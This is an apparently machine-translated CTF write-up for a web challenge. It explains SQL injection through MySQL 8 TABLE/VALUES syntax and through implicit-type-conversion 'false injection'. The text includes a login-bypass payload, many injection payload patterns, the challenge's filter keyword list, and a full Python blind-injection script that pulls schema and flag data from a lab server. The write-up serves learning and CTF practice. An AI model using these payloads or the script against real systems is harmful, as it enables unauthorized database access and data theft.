I participated in the July open of fat Hubble a few days ago. However, the technology is limited, and the two web problems have not been solved. Does it matter?
I just saw the problem of NewSql yesterday writeup , just want to repeat the offer.
Question making period
These are all my thoughts and attempts during the question making period. The boss can bypass them directly and check the resumption after the game
Opening the title link is a login box. When you meet the login box, the first thing you think of is injection
I immediately saw that it was a single quote injection. On the spot, I was going to take out the secret weapon handed down to me by my master sqlmap Let's try it, but it must not work. It's still honest to inject it manually.
I dare to guess the sql statement at login
$sql = "select * from users where username = '$username' and password = '$password'";
This is not easy, but it filters many parameters
Later I constructed such a statement username=admin&password=password'/**/or/**/123456#
When you ask for the second time, you log in
First, analyze why the login is successful
After the login is successful, there is no useful information to view the information. The flag to be found is stored in the database
During the long injection attempt, it was found that many parameters were filtered, and a prompt was given later Mysql 8 injection
New features of Mysql 8 injection
Discover the injection feature of Mysql 8
- table
- values
Broken thoughts
In order to try to operate the mysql database locally, you need to reinstall the mysql environment because mysql in phpstudy is only 8.0.12, and the new injection keyword appears after mysql 8.0.19.
sudo apt-get install mysql-server sudo apt-get isntall mysql-client sudo netstat -tap | grep mysql #View the startup status of mysql
TABLE
First select the database, and then use the table keyword to query the contents of the data table.
TABLE is a DML statement introduced in MySQL 8.0.19. It returns rows and columns of a named TABLE, similar to SELECT. It supports UNION joint query, ORDER BY sorting, and LIMIT clause to LIMIT the number of rows generated
We note that table users;& select * from users; It seems to be exactly the same, but there are the following differences
- TABLE always displays all columns of the TABLE
- TABLE does not support any WHERE clause
VALUES
VALUES is to display a group of one or more rows as a table and return a table data. It will be better understood in combination with ROW().
ROW() returns a row of data. VALUES will sort the row data returned by ROW() plus fields into a table and display it.
Injection technique
Number of judgment columns
Because the VALUES command and TABLE command return TABLE data, when the returned data is combined through the union statement, an error will be reported when the number of columns is wrong. You can judge the number of columns through this
Judge echo position
select * from users where id=-1 union values row(1,2,3);
List all database names
table information_schema.schemata;
Blind annotation queries the contents of any table
table users limit 1; Query results
Use table users limit 1; It will return to the first row in the users table. I didn't quite understand the online description, so I decided to use my own words + graph to explain this phenomenon of blind annotation
select ((1,'','')<=(table users limit 1)); & select ((2,'','')<=(table users limit 1));
On the surface (1,' ',' ') And table users limit 1 The comparison is actually (1,' ',' ') And (1,'admin','password') The comparison order is from left to right. The first column (that is, the first tuple element) is judged to be correct, and then the second column (that is, the second tuple element) is judged. The first character of the two elements is smaller than the size. If the first character is equal, compare the size of the second character, and so on. The final result is the size of the tuple.
If the returned result is 1, it proves that there is a match. If it is 0, it proves that there is no match. Then continue to judge the following columns until the last one.
Small Tips
The last column of the current column needs to be represented by characters, not numbers, otherwise the last character of the current column will not be judged!!
Best use <= replace <, use < There is nothing wrong with the comparison at first, but when it comes to the last bit, the result is the previous character of the correct character, so use <= The results are more intuitive.
False injection
We execute select * from users where username=0;
Why does username=0 cause all data to be returned
I have to mention MYSQL here Implicit type conversion.
- If two parameters are compared and at least one of them is NULL, the comparison result is NULL. NULL < = >, the result is true, no conversion is required.
- If both parameters are strings, they are compared according to the string without type conversion.
- If both parameters are integers, they are compared according to integers without type conversion.
- If you do not compare with a number, the hexadecimal value is treated as a binary string.
- If one of the parameters is TIMESTAMP or DATETIME and the other is a constant, the constant will be converted to a TIMESTAMP before the comparison is performed.
- If one of the parameters is a decimal value, the comparison depends on the other parameter. If the other parameter is a decimal value or an integer value, the parameter is compared as a decimal value. If the other parameter is a floating-point value, the decimal value is converted to a floating-point value for comparison.
- In all other cases, the two parameters are converted to floating-point values for comparison
You can see that during type conversion, a warning will be generated when converting a string, and the conversion result is 0. If the first character of the string is a non numeric character, it is converted to a number, which is 0; If the string starts with a number, it will be truncated from the number part and converted to a number; If the string is all numbers, it is converted to the number corresponding to the whole string.
Injection technique
The SQL statements encountered in practice may be like this select * from users where username='$username', so we need to construct a process to implement the false injection point
Arithmetic operator
Add:+
'+' Spliced statements: select * from users where username='$username'+''
Minus:-
'-' Spliced statements: select * from users where username='$username'-''
Multiply:*
'*' Spliced statements: select * from users where username='$username'*''
Except:/
'/6# Spliced statements: select * from users where username='$username'/6#'
Remainder:%
'%1# Spliced statements: select * from users where username='$username'%1#'
Bitwise operator
Sum operation:&
'&0# Spliced statements: select * from users where username='$username'&0#'
Or operation:|
'|0# Spliced statements: select * from users where username='$username'|0#'
XOR operation:^
'^0# Spliced statements: select * from users where username='$username'^0#'
Shift operation: > ><<
'<<0# '>>0# Spliced statements: select * from users where username='$username'<<0#'
Comparison operator
Safety equals: < = >
'=0<=>1# Spliced statements: select * from users where username='$username'=0<=>1#'
Not equal to: < = >
'=0<>0# Spliced statements: select * from users where username='$username'=0<>0#'
Size at ><
'>-1# Spliced statements: select * from users where username='$username'>-1#'
Others
select * from users where username='test'=''-'';
select * from users where username='test'=~~'';
select * from users where username='test'=mod(pi(),pi());
After talking so much, I may have fainted long ago. Does it matter?
We will analyze it from the perspective of this topic and consolidate the knowledge we just learned.
Post game resumption
According to the official writeup, these parameters are filtered
|select|union|and|&&|updatexml|extractvalue|group|concat|have|sleep|database|insert|join|where|substr|char|mid|>|=|\|\||like|regexp|\\|if
Related before combination False injection and Mysql8 injection
import requests import string url = 'http://192.168.153.131:8084/' strings = string.digits + '_' + string.ascii_lowercase + '{}' # 0123456789_abcdefghijklmnopqrstuvwxyz{} def get_data(payload): for j in range(0,10): result = '' for i in range(1,20): for str in strings: data = { "username":payload.format((result + str),j), "password":"123456" } res = requests.post(url = url,data = data,allow_redirects=True) if "WELCOME" not in res.text: result += chr(ord(str) - 1) print(result) break if __name__ == "__main__": payload_databases = "1'^(('def','{0}','',4,5,6)<(table/**/information_schema.schemata/**/limit/**/{1},1))#" #mysql information_schema performance_schema sys ctf payload_tables = "1'^(('def','ctf','{0}','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table/**/information_schema.tables/**/order/**/by/**/CREATE_TIME/**/DESC/**/limit/**/{1},1))#" # users f1aggghere payload_columns = "1'^(('def','ctf','f1aggghere','{0}','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table/**/information_schema.columns/**/order/**/by/**/TABLE_SCHEMA/**/limit/**/{1},1))#" # flag id payload_data = "1'^((1,'{0}')<(table/**/f1aggghere/**/limit/**/{1},1))#" get_data(payload_data)
If false, after successful injection, it will jump to the post login page, information_ The number of fields in each table in the schema library can be determined by local search. In order to save time and find the required data as soon as possible, you can use table to splice the order by statement and reverse the order according to the table creation time. Generally, the first few are the tables with data. After finding the table, in order to find the fields in it, you can splice the order by statement and sort according to the database name. Because the database name is' ctf ', you can quickly find the results. Then there is the information in the query table.